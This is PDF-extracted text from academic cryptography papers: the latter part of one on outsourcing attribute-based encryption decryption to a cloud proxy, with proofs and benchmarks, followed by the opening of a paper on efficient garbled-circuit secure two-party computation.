1 = hλ1/z ·F(ρ(1))r1 , R1 = R′1/z

1 = gr1), . . . ,(D� = D′1/z
� , R� = R′1/z

� )

Transformout(TK,CT). The transformation algorithm takes as input a transformation key TK = (PK,(D1,R1), . . . ,(D�,R�)) for
access structure (M,ρ) and a ciphertext CT = (C,C′,{Cx}x∈S) for set S. If S does not satisfy the access structure, it outputs
⊥. Suppose that S satisfies the access structure and let I ⊂ {1,2, . . . , �} be defined as I = {i : ρ(i) ∈ S}. Then, let {ωi ∈ Zp}i∈I
be a set of constants such that if {λi} are valid shares of any secret s according to M, then ∑i∈I ωiλi = s. The transformation
algorithm computes

e(C′,∏
i∈I

Dωi
i )/

(

∏
i∈I

e(Ri,C
ωi
ρ(i))

)

= e(gs,∏
i∈I

hλiωi/z ·F(ρ(i))riωi)/

(

∏
i∈I

e(gri ,F(ρ(i))sωi)

)

= e(g,h)sα/z ·∏
i∈I

e(gs,F(ρ(i))riωi)/

(

∏
i∈I

e(gri ,F(ρ(i))sωi)

)

= e(g,h)sα/z

It outputs the partially decrypted ciphertext CT′ as (C,e(g,h)sα/z), which can be viewed as the El Gamal ciphertext (M ·
Gzd ,Gd) where G = e(g,h)1/z ∈GT and d = sα ∈ Zp.

Decryptout(SK,CT). The decryption algorithm takes as input a private key SK = (z,TK) and a ciphertext CT. If the ciphertext is
not partially decrypted, then the algorithm first executes Transformout(TK,CT). If the output is ⊥, then this algorithm outputs
⊥ as well. Otherwise, it takes the ciphertext (T0,T1) and computes T0/T z

1 = M .

aGoyal et al. [24] give a standard model instantiation for F using an n-wise independent hash function (in the exponents) with the restriction
that any ciphertext can contain at most n attributes. For our purposes, one can think of F as a random oracle.

Figure 6: A CPA-secure KP-ABE outsourcing scheme based on the large-universe construction of Goyal, Pandey,
Sahai and Waters [24].
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Partially-decrypted 
ciphertext(s)

Figure 7: Architecture and data flow for our cloud-based outsourcing proxy. An application programmatically instan-
tiates one or more instances of the outsourcing proxy, which is loaded from a public Amazon Machine Image (AMI)
in the S3 storage cloud. Next the application uploads a transform key TK to the proxy, and subsequently instructs
the proxy to obtain ciphertexts from remote web servers or from locations within the S3 storage cloud. The proxy
transforms the ciphertexts and returns the partially-decrypted result to the application, which completes decryption to
obtain a plaintext. We emphasize that the setup step including uploading the transformation key only needs to be done
once; subsequently, many decryption steps can follow. In an alternative configuration (not shown) the application can
also upload ABE ciphertexts to the proxy from its local storage. We note the first configuration conflates the ciphertext
delivery and partial decryption and thus requires no additional transmissions relative to non outsourcing solutions. The
alternative will require an round trip for each outsourcing operation.

One might hope that the proof of adaptive security
could be a black box reduction to the adaptively secure
schemes of Lewko et al. Unfortunately, this seems in-
feasible. Consider any direct black box reduction to the
security of the underlying scheme. When the attacker
makes a query to some transformation key, the reduction
algorithm has two options. First, it could ask the security
game for the underlying ABE system for a private key.
Yet, it might turn out that the key both is never corrupted
and is capable of decryption for the eventual challenge
ciphertext. In this case the simulator will have to abort.
A second option is for the reduction algorithm not to ask
for such a key, but fill in the transformation key itself.
However, if that user’s key is later corrupted it will be
difficult for the reduction to both ask for such a private
key and match it to the published transformation key.

Accordingly, to prove security one needs to make a
direct Dual-System encryption type proof. The proof
would go along the lines of Lewko et al., with the ex-
ception that in the hybrid stage of the proof all private
keys and transformational keys will be set (one by one)
to be semi-functional including those that could decrypt
the eventual challenge ciphertext. In the Lewko et al.
proof giving a private key that could decrypt the chal-
lenge ciphertext would undesirably result in the sim-
ulator producing observably incorrect correlations be-
tween the challenge ciphertext and keys. However, if
we only give out the transformation part of such a key
(and keep the whole private key hidden) then this cor-
relation will remain hidden. This part of the argument
is somewhat similar to the work of Lewko, Rouselakis,
and Waters [29], who show that in their leakage resilient
ABE scheme if only part of a private key is leaked such
a correlation will be hidden.

5.2 Checking the Transformation
In the description of our systems a proxy will be able
to transform any ABE ciphertext into a short ciphertext
for the user. While the security definitions show that an
attacker will not be able to learn an encrypted message,
there is no guarantee on the transformation’s correctness.
In some applications a user might want to request the
transformation of a particular ciphertext and (efficiently)
check that the transformation was indeed done correctly
(assuming the original ciphertext was valid). It is easy to
adapt our RCCA systems to such a setting. Since decryp-
tion results in recovery of the ciphertext randomness, one
can simply add a tag to the ciphertext as H ′(r), where H ′

is a different hash function modeled as a random oracle
and r is the ciphertext randomness. On recovery of r the
user can compute H ′(r) and make sure it matches the tag.

6 Performance in Practice

To validate our results, we implemented the CPA-secure
CP-ABE of Section 3 as an extension to the libfenc At-
tribute Based Encryption library [25]. We then used this
as a building block for a platform for accelerating ABE
decryption through cloud-based computing resources.

The core of our solution is a virtualized outsourcing
“proxy” that runs in the Amazon Elastic Compute Cloud
(EC2). Our proxy exists as a machine image that can
be programmatically instantiated by any application that
requires assistance with ABE decryption. As we demon-
strate below, this proxy is particularly useful for accel-
erating decryption on constrained devices such as mo-
bile phones. However, the system can be used in any
application where significant numbers of ABE decryp-
tions must be performed, e.g., in large-scale search op-
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erations.10 The use of on-demand computing is particu-
larly well-suited to our outsourcing techniques, since we
do not require trusted remote servers or long-term stor-
age of secrets.

System Architecture. Figure 7 illustrates the architec-
ture of our outsourcing platform. The proxy is stored in
Amazon’s S3 datastore as a public Amazon Machine Im-
age (AMI), which wraps a standard Linux/Apache distri-
bution along with the code needed to execute the Trans-
form algorithm. Applications can remotely instantiate
the proxy and upload a TK corresponding to a particu-
lar ABE decryption key.11 Depending on the use case,
they can either push ciphertexts to the proxy for transfor-
mation, or direct the proxy to retrieve ABE ciphertexts
from remote locations such as the web or the Amazon S3
storage cloud. The latter technique is helpful when ac-
cessing remotely-held records on a mobile device, since
the proxy transformation dramatically reduces the mo-
bile device’s bandwidth requirements vs. downloading
and decrypting each ABE ciphertext locally. This can
significantly enhance device battery life.

6.1 Performance: Microbenchmarks
To evaluate the performance of our CPA-secure CP-ABE
outsourcing scheme in isolation (without confounding
factors such as network lag, file I/O, etc.) we conducted a
series of microbenchmarks using the libfenc implemen-
tation. For consistency, we ran these tests on two dedi-
cated hardware platforms: a 3GHz Intel Core Duo plat-
form with 4GB of RAM running 32-bit Linux Kernel
version 2.6.32, and a 412MHz ARM-based iPhone 3G
with 128MB of RAM running iOS 4.0.12 We instantiated
the ABE schemes using a 224-bit MNT elliptic curve
from the Stanford Pairing-Based Crypto library [30].13

The existing libfenc implementation implements the
Waters scheme using a Key Encapsulation variant. For
backwards compatibility, we adopted this approach in
our implementation as well. Herein, the ciphertext car-
ries a symmetric session key k that is computed at en-
cryption time as k = H(e(g,g)αs). The element C =

10Indeed, since cloud computing platforms support the creation of
multiple proxy instances, servers can rapidly scale their outsourcing
capability up and down to meet demand.

11The proxy requires only one TK to decrypt an unlimited number
of ciphertexts. However, a proxy can be shared by multiple users, each
with their own TK.

12Note that our tests were single-threaded, and thus used resources
from only a single core of the Intel processor. In all cases we conducted
our timing experiments with accessible background services disabled,
and with the mobile device connected to a power source.

13Although we define our schemes in the symmetric bilinear group
setting, the MNT curve choice required that we implement the scheme
in asymmetric groups with a pairing of the form G1 ×G2 → GT . As
a result we assigned various elements of the ciphertext and key to the
groups G1 and G2 with the aim of minimizing ciphertext size.

M ·e(g,g)αs is omitted from the ciphertext, and any data
payload must be carried via a separate symmetric encryp-
tion under k. The practical impact of this approach is
that the ABE ciphertexts (and partially-decrypted cipher-
texts) are shortened by one element of GT .

Experimental setup. Both decryption time and cipher-
text size in the CP-ABE scheme depend on the com-
plexity of the ciphertext’s policy. To capture this in our
experiments, we first generated a collection of 100 dis-
tinct ciphertext policies of the form (A1 AND A2 AND
. . . AND AN), where each Ai is an attribute, for values of
N increasing from 1 to 100. In each case we constructed
a corresponding decryption key that contained the N at-
tributes necessary for decryption. This approach ensures
that the decryption procedure depends on all N compo-
nents of the ciphertext and is a reasonable sample of a
complex policy.

To obtain our baseline results, we encapsulated a ran-
dom 128-bit symmetric key under each of these 100 dif-
ferent policies, then decrypted the resulting ABE cipher-
text using the normal (non-outsourced) Decrypt algo-
rithm.14 To smooth any experimental variability, we re-
peated each of our experiments 100 times on the Intel
device (due to the time consuming nature of the experi-
ments, we repeated the test only 30 times on the ARM
device) and averaged to obtain our decryption timings.
Figure 8 shows the size of the resulting ciphertexts as a
function of N, along with the measured decryption times
on our Intel and ARM test platforms.

Next, we evaluated the algorithms by generating a
Transform Key (TK) from the appropriate N-attribute
ABE decryption key and applying the Transform algo-
rithm to the ABE ciphertext using this key.15 Finally we
decrypted the resulting transformed ciphertext. Figure 8
shows the time required for each of those operations.

Discussion. As expected, the ABE ciphertext size and
decryption/transform time were linear in the complexity
of the ciphertext’s policy (N). However, our results illus-
trate the surprisingly high constants. Encrypting under a
100-component ciphertext policy produced an unwieldy
25KB of ABE ciphertext. The relatively fast Intel proces-
sor required nearly 2 full seconds to decrypt this value.
By comparison, the same machine can perform a 1024-
bit RSA decryption in 1.7 milliseconds.16

The results were more dramatic on the mobile device.
Decrypting a 100-component ciphertext policy on the

14Note that for this experiment we did not employ any symmetric
encryption, hence all times and ciphertext sizes refer to the ABE key
encapsulation ciphertext.

15We used the “backwards-compatible” key generation approach de-
scribed in Section 3.1 to derive a TK from a standard ABE decryption
key, rather than having the PKG generate the TK directly. This allowed
us to retain compatibility with the existing CP-ABE implementation.

16Measured with OpenSSL 1.0 [40].
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Figure 8: Microbenchmark results for our CP-ABE scheme with outsourcing. Timing results are provided for both
Intel and ARM platforms. Key generation times represent the time to convert a standard ABE decryption key into
an outsourcing key, using the “backwards-compatible” approach described in Section 3.1. “Final decryption” refers
to the decryption of a partially-decrypted ciphertext. Note that we present the Transform timing results for the Intel
platform only, since we view this as the more likely outsourcing platform. Intel (resp. ARM) timings represent the
average of 100 (resp. 30) test iterations.

ARM processor required nearly 30 seconds of sustained
computation. Even at lower policy complexities, our re-
sults seem problematic for implementers looking to de-
ploy unassisted ABE on limited computing devices.

Outsourcing substantially reduced both ciphertext size
and the time needed to decrypt the partially-decrypted ci-
phertext. Each partially-decrypted ciphertext was a fixed
188 bytes in size, regardless of the original ciphertext’s
CP-ABE policy. Furthermore, the final decryption pro-
cess required only 4ms on the Intel processor and a man-
ageable 60ms on ARM.17 Thus, it appears that outsourc-
ing can provide a noticeable decryption time advantage
for ciphertexts with 10 or more attributes.

Other Implementation Remarks. There are several opti-
mizations and tradeoffs one might explore that could im-
pact both the performance of the existing ABE scheme
and our outsourced scheme. We chose to use the PBC
library due to its use in the libfenc system and its simple
API. However, PBC does not include all of the latest op-
timizations discussed in the research literature. Other fu-
ture optimizations could include the use of multi-pairings
for decryption. We emphasize that while using such op-

17We conducted our experiments on the CPA-secure version of our
scheme. The primary performance differences in the RCCA version
are an extra exponentiation in GT and some additional bytes.

timizations to the existing ABE systems could give some
performance improvements, they will not improve the
size of ABE ciphertexts. Furthermore, decryption time
will still be linear in the size of the satisfied formula,
whereas our outsourcing technique transforms the final
decryption step to a short El-Gamal-type ciphertext.

A note on policy complexity. The reader might assume
that 50- or 100-component policies are rare in practice.
In fact, we observed that it is relatively easy to arrive
at highly complex policies in typical use cases. This is
particularly true when using policies that contain integer
comparison operators, e.g., “AGE < 30”. The libfenc li-
brary implements integer comparison operators using the
technique of Bethencourt et al. [7]: prior to encryption,
each comparison operator is converted into a boolean
policy circuit composed of OR and AND gates, and the
resulting policy is applied to the ciphertext. Comparing
an attribute to a fixed n-bit integer adds approximately
n components to the policy. For example, without spe-
cial optimizations, a restriction window involving a Unix
time value (x < KEY CREATION TIME < y) increases
the policy size by approximately 64 components.
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Operation local-only local+web proxy proxy+web
(sec) (sec/kb) (sec/kb) (sec/kb)

New proxy instantiation · · 93.4 sec 93.4 sec
Restart existing proxy instance · · 45 sec 45 sec
Generate & set 70-element transform key · · 2.9 sec 2.9 sec
Decryption:

((DOCTOR OR NURSE) AND INSTITUTION) 1.1s 1.2s/1.1k .2s/1.4k .2s/0.4k
(DOCTOR AND TIME > 1262325600 AND TIME < 1267423200) 17.3s 17.3s/22.8k 1.2s/23.2k 1.2s/0.4k

Figure 9: Some average performance results for the proxy-enhanced iHealthEHR application running on our iPhone
3G. From left to right, “local-only” indicates device-local decryption and storage of ciphertexts, “local+web” indicates
that ciphertexts were downloaded from a web server and decrypted at the device. “proxy” indicates local ciphertext
storage with proxy outsourcing. “proxy+web” indicates that ciphertexts were obtained from the web via the proxy.
Where relevant we provide both timings and total bandwidth transferred (up+down) from the device. Note that proxy
launch times exhibit some variability depending on factors outside of our control.

6.2 Performance: Mobile Example
To validate our ideas in a real application, we incorpo-
rated outsourcing into the iPhone viewer component of
iHealthEHR [3], an experimental system for distributing
Electronic Health Records (EHRs). Since EHRs can con-
tain highly sensitive data, iHealthEHR uses CP-ABE to
perform end-to-end encryption of records from the orig-
ination point to the viewing device. Distinct ciphertext
policies may be applied to each node in an individual’s
health record (e.g., to admit special permissions for psy-
chiatric records). iHealthEHR supports both local and
cloud-based storage of records.

We modified the iPhone application to remotely
instantiate our outsourcing proxy on startup, using
a “small” server instance within Amazon’s storage
cloud.18 In our experiments we found that the first EC2
instantiation required anywhere from 1-3 minutes, pre-
sumably depending on the system’s load. However, once
the proxy was launched, it could be left running indefi-
nitely and shared by many different users with different
TKs, or — when not in use — paused and brought back
to full operation in as little as 30 seconds (with an av-
erage closer to 45 seconds). During this startup interval
we set the application to locally process all decryption
operations. Once the proxy signaled its availability, the
application pushed a TK to it via HTTP, and outsourced
all further decryption operations.

To evaluate the performance implications, we con-
ducted experiments on the system with outsourcing en-
abled and disabled, considering four likely usage sce-
narios. In the first scenario (local-only), we conducted
device-local decryption on ciphertexts stored locally in
the device’s Flash memory. In the second scenario (lo-
cal+web) we downloaded ciphertexts from a web server,

18According to Amazon’s documentation, a small EC2 instance pro-
vides “the equivalent CPU capacity of a 1.0-1.2 GHz 2007 Opteron or
2007 Xeon processor” and 1.7GB of RAM, at a cost of USD $0.085/hr.
[1].

then decrypted them locally at the device. In the third
scenario (proxy), we stored ciphertexts locally and then
uploaded them to the proxy for transformation. In the
final scenario (proxy+web) ciphertexts were retrieved
from a web server by the proxy, then Transformed be-
fore being sent to the device. In each case we measured
the time required to decrypt, along with the total band-
width transmitted and received by the device (excepting
the local-only case, which did not employ the network
connection). The results are summarized in Figure 9.

7 Hardening ABE Implementations

Thus far we described outsourcing solely as a means to
improve decryption performance. In certain cases out-
sourcing can also be used to enhance security. By way
of motivation, we observe that ABE implementations
tend to be relatively complex compared to implementa-
tions of other public-key encryption schemes. For ex-
ample, libfenc’s policy handling components alone com-
prise nearly 3,000 lines of C code, excluding library de-
pendencies. It has been observed that the number of vul-
nerabilities in a software product tends to increase in pro-
portion to the code’s complexity [34].

It is common for designers to mitigate software issues
by sandboxing vulnerable processes e.g., [33], or through
techniques that isolate security-sensitive functions within
a process [32]. McCune et al. recently proposed TrustVi-
sor [31], a specialized hypervisor designed to protect and
isolate security-sensitive “Pieces of Application Logic”
(PALs) from less sensitive code.

We propose outsourcing as a tool to harden ABE im-
plementations in platforms with code isolation. For ex-
ample, in a system equipped with TrustVisor, imple-
menters can embed the relatively simple key generation
and Decryptout routines in security-sensitive code (e.g.,
a TrustVisor PAL) and use outsourcing to push the re-
maining calculations into non-sensitive code. This not
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only reduces the size of the sensitive code base, it also
simplifies parameter validation for the PAL (since the
partially-decrypted ABE ciphertext is substantially less
complex than the original). We refer to this technique
as “self-outsourcing” and note that it can also be used
in systems containing hardware security modules (e.g.,
cryptographic smart cards). Moreover, based on our ex-
periments of Section 6, we estimate that this approach
will have a minimal impact on performance.
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A Proof of Theorem 3.2

Proof. Suppose there exists a polynomial-time adversary
A that can attack our scheme in the selective RCCA-
security model for outsourcing with advantage ε . We
build a simulator B that can attack the Waters scheme
of [42, Appendix C] in the selective CPA-security model
with advantage ε minus a negligible amount. In [42] the
Waters scheme is proven secure under the decisional q-
parallel BDHE assumption.
Init. The simulator B runs A . A chooses the chal-
lenge access structure (M∗,ρ∗), which B passes on to
the Waters challenger as the structure on which it wishes
to be challenged.
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Setup. The simulator B obtains the Waters public
parameters PK = g,e(g,g)α ,ga and a description of the
hash function F . It sends these to A as the public pa-
rameters.

Phase 1. The simulator B initializes empty tables
T,T1,T2, an empty set D and an integer j = 0. It answers
the adversary’s queries as follows:

• Random Oracle Hash H1(R,M ): If there is an en-
try (R,M ,s) in T1, return s. Otherwise, choose a
random s ∈ Zp, record (R,M ,s) in T1 and return s.

• Random Oracle Hash H2(R): If there is an entry
(R,r) in T2, return r. Otherwise, choose a random
r ∈ {0,1}k, record (R,r) in T2 and return r.

• Create((S)): B sets j := j +1. It now proceeds one
of two ways.

– If S satisfies (M∗,ρ∗), then it chooses a “fake”
transformation key as follows: choose a ran-
dom d ∈ Zp and run KeyGen((d,PK),S) to
obtain SK′. Set TK = SK′ and set SK =
(d,TK). Note that the pair (d,TK) is not well-
formed, but that TK is properly distributed if d
was replaced by the unknown value z = α/d.

– Otherwise, it calls the Waters key genera-
tion oracle on S to obtain the key SK′ =
(PK,K′,L′,{K′

x}x∈S). (Recall that in the
non-outsourcing CP-ABE game, the Create
and Corrupt functionalities are combined in
one oracle.) The algorithm chooses a ran-
dom value z ∈ Zp and sets the transfor-
mation key TK as (PK, K = K′1/z,L =
L′1/z, {Kx}x∈S = {K′1/z

x }x∈S) and the private
key as (z,TK).

Finally, store ( j,S,SK,TK) in table T and return TK
to A .

• Corrupt(i): A cannot ask to corrupt any key cor-
responding to the challenge structure (M∗,ρ∗). If
there exists an ith entry in table T , then B obtains
the entry (i,S,SK,TK) and sets D := D∪ {S}. It
then returns SK to A , or ⊥ if no such entry exists.

• Decrypt(i,CT): Without loss of generality, we as-
sume that all ciphertexts input to this oracle are al-
ready partially decrypted. Recall that both B and
A have access to the TK values for all keys created,
so either can execute the transformation operation.
Let CT = (C0,C1,C2) be associated with structure
(M,ρ). Obtain the record (i,S,SK,TK) from table
T . If it is not there or S �∈ (M,ρ), return ⊥ to A .
If key i does not satisfy the challenge structure
(M∗,ρ∗), proceed as follows:

1. Parse SK = (z,TK). Compute R = C0/Cz
2.

2. Obtain the records (R,Mi,si) from table T1. If
none exist, return ⊥ to A .

3. If in this set, there exists indices y �= x such
that (R,My,sy) and (R,Mx,sx) are in table T1,
My �= Mx and sy = sx, then B aborts the sim-
ulation.

4. Otherwise, obtain the record (R,r) from table
T2. If it does not exist, B outputs ⊥.

5. For each i, test if C0 = R ·e(g,g)αsi , C1 = Mi⊕
r and C2 = e(g,g)αsi/z.

6. If there is an i that passes the above test, output
the message Mi; otherwise, output ⊥. (Note:
at most one value of si, and thereby one index
i, can satisfy the third check of the above test.)

If key i does satisfy the challenge structure
(M∗,ρ∗), proceed as follows:

1. Parse SK = (d,TK). Compute β = C1/d
2 .

2. For each record (Ri,Mi,si) in table T1, test if
β = e(g,g)si .

3. If zero matches are found, B outputs ⊥ to A .
4. If more than one matches are found, B aborts

the simulation.
5. Otherwise, let (R,M ,s) be the sole match.

Obtain the record (R,r) from table T2. If it
does not exist, B outputs ⊥.

6. Test if C0 = R ·e(g,g)αs, C1 = M ⊕r and C2 =
e(g,g)ds.

7. If all tests pass, output M ; else, output ⊥.

Challenge. Eventually, A submits a message pair
(M ∗

0 ,M ∗
1 ) ∈ {0,1}2×k. B acts as follows:

1. B chooses random “messages” (R0,R1) ∈G2
T and

passes them on to the Waters challenger to obtain a
ciphertext CT = (C,C′,{Ci}i∈[1,�]) under (M∗,ρ∗).

2. B chooses a random value C′′ ∈ {0,1}k.
3. B sends to A the challenge ciphertext CT∗ =

(C,C′,C′′,{Ci}i∈[1,�]).

Phase 2. The simulator B continues to answer queries
as in Phase 1, except that if the response to a Decrypt
query would be either M ∗

0 or M ∗
1 , then B responds with

the message test instead.

Guess. Eventually, A must either output a bit or abort,
either way B ignores it. Next, B searches through tables
T1 and T2 to see if the values R0 or R1 appear as the
first element of any entry (i.e., that A issued a query of
the form H1(Ri, ·) or H2(Ri).) If neither or both values
appear, B outputs a random bit as its guess. If only value
Rb appears, then B outputs b as its guess.

This ends the description of the simulation. Due to space
limitations, our analysis of this simulation appears in the
full version of this work [26].

�
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Abstract
Secure two-party computation enables two parties to
evaluate a function cooperatively without revealing to ei-
ther party anything beyond the function’s output. The
garbled-circuit technique, a generic approach to secure
two-party computation for semi-honest participants, was
developed by Yao in the 1980s, but has been viewed
as being of limited practical significance due to its in-
efficiency. We demonstrate several techniques for im-
proving the running time and memory requirements of
the garbled-circuit technique, resulting in an implemen-
tation of generic secure two-party computation that is
significantly faster than any previously reported while
also scaling to arbitrarily large circuits. We validate our
approach by demonstrating secure computation of cir-
cuits with over 109 gates at a rate of roughly 10 μs per
garbled gate, and showing order-of-magnitude improve-
ments over the best previous privacy-preserving proto-
cols for computing Hamming distance, Levenshtein dis-
tance, Smith-Waterman genome alignment, and AES.

1 Introduction

Secure two-party computation enables two parties to
evaluate an arbitrary function of both of their inputs with-
out revealing anything to either party beyond the output
of the function. We focus here on the semi-honest set-
ting, where parties are assumed to follow the protocol
but may then attempt to learn information from the pro-
tocol transcript (see further discussion in Section 1.2).

There are two main approaches to constructing proto-
cols for secure computation. The first approach exploits
specific properties of f to design special-purpose proto-
cols that are, presumably, more efficient than those that
would result from generic techniques. A disadvantage of
this approach is that each function-specific protocol must
be designed, implemented, and proved secure.

∗Work done while at the University of Maryland.

The second approach relies on completeness theorems
for secure computation [7, 8, 34] which give protocols
for computing any function f starting from a Boolean-
circuit representation of f . This generic approach to se-
cure computation has traditionally been viewed as being
of theoretical interest only since the protocols that result
require several symmetric-key operations per gate of the
circuit being executed and the circuit corresponding to
even a very simple function can be quite large.

Beginning with Fairplay [22], several implementa-
tions of generic secure two-party computation have been
developed in the past few years [11, 21, 27] and used
to build privacy-preserving protocols for various func-
tions (e.g., [4,13,16,26,29]). Fairplay and its successors
demonstrated that Yao’s technique could be implemented
to run in a reasonable amount of time for small circuits,
but left the impression that generic protocols for secure
computation could not scale to handle large circuits or in-
put sizes or compete with special-purpose protocols for
functions of practical interest. Indeed, some previous
works have explicitly rejected garbled-circuit solutions
due to memory exhaustion [16, 26].

The thesis of our work is that design decisions made
by Fairplay, and followed in subsequent work, led re-
searchers to severely underestimate the applicability of
generic secure computation. We show that protocols con-
structed using Yao’s garbled-circuit technique can out-
perform special-purpose protocols for several functions.

1.1 Contributions

We show a general method for implementing privacy-
preserving applications using garbled circuits that is both
faster and more scalable than previous approaches. Our
improvements are of two types: we improve the effi-
ciency and scalability of garbled circuit execution itself,
and we provide a flexible framework that allows pro-
grammers to optimize various aspects of the circuit for
computing a given function.
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Hamming Distance (900 bits) Levenshtein Distance AES
Online Time Overall Time Overall Time† Overall Time‡ Online Time Overall Time

Best Previous 0.310 s [26] 213 s [26] 92.4 s 534 s 0.4 s [11] 3.3 s [11]
Our Results 0.019 s 0.051 s 4.1 s 18.4 s 0.008 s 0.2 s

Speedup 16.3 4176 22.5 29 50 16.5

Table 1: Performance comparisons for several privacy-preserving applications.
† Inputs are 100-character strings over an 8-bit alphabet. The best previous protocol is the circuit-based protocol of [16].

‡ Inputs are 200-character strings over an 8-bit alphabet. The best previous protocol is the main protocol of [16].

Garbled-circuit execution. In previous garbled-circuit
implementations including Fairplay, the garbled circuit
(whose length is several hundreds bits per binary gate)
is fully generated and loaded in memory before circuit
evaluation starts. This impacts both the efficiency of the
resulting implementation and severely limits its scalabil-
ity. We observe that it is unnecessary to generate and
store the entire garbled circuit at once. By topologically
sorting the gates of the circuit and pipelining the process
of circuit generation and evaluation we can significantly
improve overall efficiency and scalability. Our imple-
mentation never stores the entire garbled circuit, thereby
allowing it to scale to effectively an unlimited number of
gates using a nearly constant amount of memory.

We also employ all known optimizations, includ-
ing the “free XOR” technique [18], garbled-row reduc-
tion [27], and oblivious-transfer extension [14]. Sec-
tion 2 provides cryptographic background and explains
the protocol and optimizations we use.

Programming framework. Developing and debugging
privacy-preserving applications using existing compil-
ers is tedious, cumbersome, and slow. For example, it
takes several hours for Fairplay to compile an AES pro-
gram written in SFDL, even on a computer with 40 GB
of memory. Moreover, the high-level programming ab-
straction provided by Fairplay and other tools for secure
computation obscures important opportunities for gener-
ating more compact circuits. Although this design de-
cision stems from the worthy goal of providing a high-
level programming interface for secure computation, it is
severely detrimental to performance. In particular, exist-
ing compilers (1) automatically garble the entire circuit,
even when portions of the circuit can be computed lo-
cally without compromising privacy; (2) use more gates
than necessary, since they always use the maximum num-
ber of bits needed for a particular variable, even when the
number of bits needed at some intermediate stage might
be significantly lower; (3) miss important opportunities
to replace general gates with XOR gates (which can be
garbled “for free” [18]); and (4) miss opportunities to use
special-purpose (e.g., multiple input/output) gates that
may be more efficient than binary gates. TASTY [11]
provides a bit more control, by allowing the programmer

to decide when to use depth-2 arithmetic circuits (which
can be computed using homomorphic encryption) rather
than Boolean circuits. However, this is not enough to
support many important circuit optimizations and there
are limited places where using homomorphic encryption
improves performance over an efficient garbled-circuit
implementation.

We present a new method and supporting framework
for generating efficient protocols for secure two-party
computation. Our method enables programmers to gen-
erate a secure protocol computing some function f from
an existing (insecure) implementation of f , while pro-
viding enough control over the circuit design to enable
key optimizations to be employed. Our approach al-
lows users to write their programs using a combination
of high-level and circuit-level Java code. Programmers
need to be able to design Boolean circuits, but do not
need to be cryptographic experts. Our framework en-
ables circuits to be built and evaluated modularly. Hence,
even very complex circuits can be generated, evaluated,
and debugged. This also provides the programmer with
opportunities to introduce important circuit-level opti-
mizations. Although we hope that such optimizations
can eventually be done automatically by sophisticated
compilers, our emphasis here is on providing a frame-
work that makes it easy to implement privacy-preserving
applications. Section 3 provides details about our imple-
mentation and efficiency improvements.

Results. We explore applications of our framework
to several problems considered in prior work including
secure computation of Hamming distance (Section 4)
and Levenshtein (edit) distance (Section 5), privacy-
preserving genome alignment using the Smith-Waterman
algorithm (Section 6), and secure evaluation of the AES
block cipher (Section 7). As summarized in Table 1, our
implementation yields privacy-preserving protocols that
are an order of magnitude more efficient than prior work,
in some cases beating even special-purpose protocols de-
signed (and claimed) to be more efficient than what could
be obtained using a generic approach.1

1Results for the Smith-Waterman algorithm are not included in the
table since there is no prior work for meaningful comparison, as we
discuss in Section 6.
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1.2 Threat Model
In this work we adopt the semi-honest (also known as
honest-but-curious) threat model, where parties are as-
sumed to follow the protocol but may attempt to learn
additional information about the other party’s input from
the protocol transcript. Although this is a very weak
security model, it is a standard security model for se-
cure computation, and we refer the reader to Goldreich’s
text [7] for details.

Studying protocols in the semi-honest setting is rele-
vant for two reasons:

∙ There may be instances where a semi-honest threat
model is appropriate: (1) when parties are legit-
imately trusted but are prevented from divulging
information for legal reasons, or want to protect
against future break-ins; or (2) where it would be
difficult for parties to change the software without
being detected, either because software attestation
is used or due to internal controls in place (for ex-
ample, when parties represent corporations or gov-
ernment agencies).

∙ Protocols for the semi-honest setting are an impor-
tant first step toward constructing protocols with
stronger security guarantees. There exist generic
ways of modifying the garbled-circuit approach to
give covert security [1] or full security against ma-
licious adversaries [19, 20, 25, 30].

Further, our implementation could be modified eas-
ily so as to give meaningful privacy guarantees even
against malicious adversaries. Specifically, consider a
setting in which only one party P2 (the circuit evaluator;
see Section 2.1) receives output, and the protocol is im-
plemented not to reveal to the other party P1 anything
about the output (including whether or not the protocol
completed successfully). If an oblivious-transfer proto-
col with security against malicious adversaries is used
(see Section 2.2), our implementation achieves full se-
curity against a malicious P2 and privacy against a ma-
licious P1. In particular, neither party learns anything
about the other party’s inputs beyond what P2 can infer
about P1’s input from the revealed output. Understand-
ing how much private information the output itself leaks
is an important and challenging problem, but outside the
scope of this paper.

Note that this usage of our protocols provides privacy,
but does not provide any correctness guarantees. A mali-
cious generator could construct a circuit that produces an
incorrect result without detection. Hence, this approach
is insufficient for scenarios where the circuit generator
may be motivated to trick the evaluator by producing
an incorrect result. Such scenarios would require fur-
ther defenses, including mechanisms to prevent parties

from lying about their inputs. Many interesting privacy-
preserving applications do have the properties needed for
our approach to be effective. Namely, (1) both parties
have a motivation to produce the correct result, and (2)
only one party needs to receive the output. Examples
include financial fraud detection (banks cooperate to de-
tect fraudulent accounts), personalized medicine (a pa-
tient and drug company cooperate to determine the best
treatment), and privacy-preserving face recognition.

2 Cryptographic Background

This section briefly introduces the cryptographic tools
we use: garbled circuits and oblivious transfer. We adapt
and implement protocols from the literature, and there-
fore do not include proofs of security in this work. The
protocol we implement can be proven secure based on
the decisional Diffie-Hellman assumption in the random
oracle model [2].

2.1 Garbled Circuits
Garbled circuits allow two parties holding inputs x and
y, respectively, to evaluate an arbitrary function f (x,y)
without leaking any information about their inputs be-
yond what is implied by the function output. The ba-
sic idea is that one party (the garbled-circuit genera-
tor) prepares an “encrypted” version of a circuit com-
puting f ; the second party (the garbled-circuit evalua-
tor) then obliviously computes the output of the circuit
without learning any intermediate values.

Starting with a Boolean circuit for f (which both par-
ties fix in advance), the circuit generator associates two
random cryptographic keys w0

i ,w
1
i with each wire i of the

circuit (w0
i encodes a 0-bit and w1

i encodes a 1-bit). Then,
for each binary gate g of the circuit with input wires i, j
and output wire k, the generator computes ciphertexts

Enck

w
bi
i ,w

b j
j

(
w

g(bi,b j)

k

)

for all inputs bi,b j ∈ {0,1}. (See Section 3.4 for details
about the encryption used.) The resulting four cipher-
texts, in random order, constitute a garbled gate. The
collection of all garbled gates forms the garbled circuit
that is sent to the evaluator. In addition, the generator
reveals the mappings from output-wire keys to bits.

The evaluator must also obtain the appropriate keys
(that is, the keys corresponding to each party’s actual in-
put) for the input wires. The generator can simply send
wx1

1 , . . . ,wxn
n , the keys that correspond to its own input

where each wxi
i corresponds to the generator’s ith input

bit. The parties use oblivious transfer (see Section 2.2)
to enable the evaluator to obliviously obtain the input-
wire keys corresponding to its own inputs.
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Given keys wi,w j associated with both input wires i, j
of some garbled gate, the evaluator can compute a key for
the output wire of that gate by decrypting the appropriate
ciphertext. As described, this requires up to four decryp-
